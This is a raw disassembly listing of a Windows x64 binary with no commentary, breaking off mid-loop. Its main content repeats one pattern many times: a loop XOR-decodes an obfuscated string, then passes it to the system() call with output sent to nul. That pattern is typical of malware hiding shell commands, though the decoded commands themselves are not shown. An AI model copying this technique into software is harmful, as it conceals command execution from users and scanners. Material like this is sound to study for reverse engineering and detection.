cmp r8d, 0x31
jge 0x140051cd0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140051ca0
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2a60]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2a80]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2a80]
call fcn.140073650
nop
lea rcx, [rbp + 0x2a60]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x23], al
lea rdx, [rbp + 0x3531]
lea rcx, [rbp + 0x23]
call fcn.14006c9a0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140051ea0
mov r8d, r14d
cmp r12d, 2
jl 0x140051e61
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140051d70
cmp r8d, 0x31
jge 0x140051ea0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140051e70
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2aa0]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2ac0]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2ac0]
call fcn.140073650
nop
lea rcx, [rbp + 0x2aa0]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x24], al
lea rdx, [rbp + 0x3562]
lea rcx, [rbp + 0x24]
call fcn.14006c9d0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140052070
mov r8d, r14d
cmp r12d, 2
jl 0x140052031
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140051f40
cmp r8d, 0x31
jge 0x140052070
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140052040
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2ae0]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2b00]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2b00]
call fcn.140073650
nop
lea rcx, [rbp + 0x2ae0]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x25], al
lea rdx, [rbp + 0x3593]
lea rcx, [rbp + 0x25]
call fcn.14006ca00
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140052240
mov r8d, r14d
cmp r12d, 2
jl 0x140052201
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140052110
cmp r8d, 0x31
jge 0x140052240
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140052210
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2b20]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2b40]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2b40]
call fcn.140073650
nop
lea rcx, [rbp + 0x2b20]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x26], al
lea rdx, [rbp + 0x35c4]
lea rcx, [rbp + 0x26]
call fcn.14006ca30
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140052410
mov r8d, r14d
cmp r12d, 2
jl 0x1400523d1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400522e0
cmp r8d, 0x31
jge 0x140052410
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x1400523e0
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2b60]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2b80]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2b80]
call fcn.140073650
nop
lea rcx, [rbp + 0x2b60]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x27], al
lea rdx, [rbp + 0x35f5]
lea rcx, [rbp + 0x27]
call fcn.14006ca60
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x1400525e0
mov r8d, r14d
cmp r12d, 2
jl 0x1400525a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400524b0
cmp r8d, 0x31
jge 0x1400525e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x1400525b0
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2ba0]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2bc0]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2bc0]
call fcn.140073650
nop
lea rcx, [rbp + 0x2ba0]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x28], al
lea rdx, [rbp + 0x3d42]
lea rcx, [rbp + 0x28]
call fcn.14006ca90
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x1400527b0
mov r8d, r14d
cmp r12d, 2
jl 0x140052771
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140052680
cmp r8d, 0x3a
jge 0x1400527b0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3a
jl 0x140052780
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x29], al
lea rdx, [rbp + 0x3626]
lea rcx, [rbp + 0x29]
call fcn.14006cad0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140052930
mov r8d, r14d
cmp r12d, 2
jl 0x1400528f1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140052800
cmp r8d, 0x31
jge 0x140052930
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140052900
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2be0]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2c00]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2c00]
call fcn.140073650
nop
lea rcx, [rbp + 0x2be0]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x2a], al
lea rdx, [rbp + 0x3657]
lea rcx, [rbp + 0x2a]
call fcn.14006cb00
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140052b00
mov r8d, r14d
cmp r12d, 2
jl 0x140052ac1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400529d0
cmp r8d, 0x31
jge 0x140052b00
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140052ad0
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2c20]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2c40]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2c40]
call fcn.140073650
nop
lea rcx, [rbp + 0x2c20]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x2b], al
lea rdx, [rbp + 0x3688]
lea rcx, [rbp + 0x2b]
call fcn.14006cb30
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140052cd0
mov r8d, r14d
cmp r12d, 2
jl 0x140052c91
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140052ba0
cmp r8d, 0x31
jge 0x140052cd0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140052ca0
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2c60]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2c80]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2c80]
call fcn.140073650
nop
lea rcx, [rbp + 0x2c60]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x2c], al
lea rdx, [rbp + 0x36b9]
lea rcx, [rbp + 0x2c]
call fcn.14006cb60
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140052ea0
mov r8d, r14d
cmp r12d, 2
jl 0x140052e61
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140052d70
cmp r8d, 0x31
jge 0x140052ea0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140052e70
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2ca0]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2cc0]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2cc0]
call fcn.140073650
nop
lea rcx, [rbp + 0x2ca0]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x2d], al
lea rdx, [rbp + 0x36ea]
lea rcx, [rbp + 0x2d]
call fcn.14006cb90
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140053070
mov r8d, r14d
cmp r12d, 2
jl 0x140053031
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
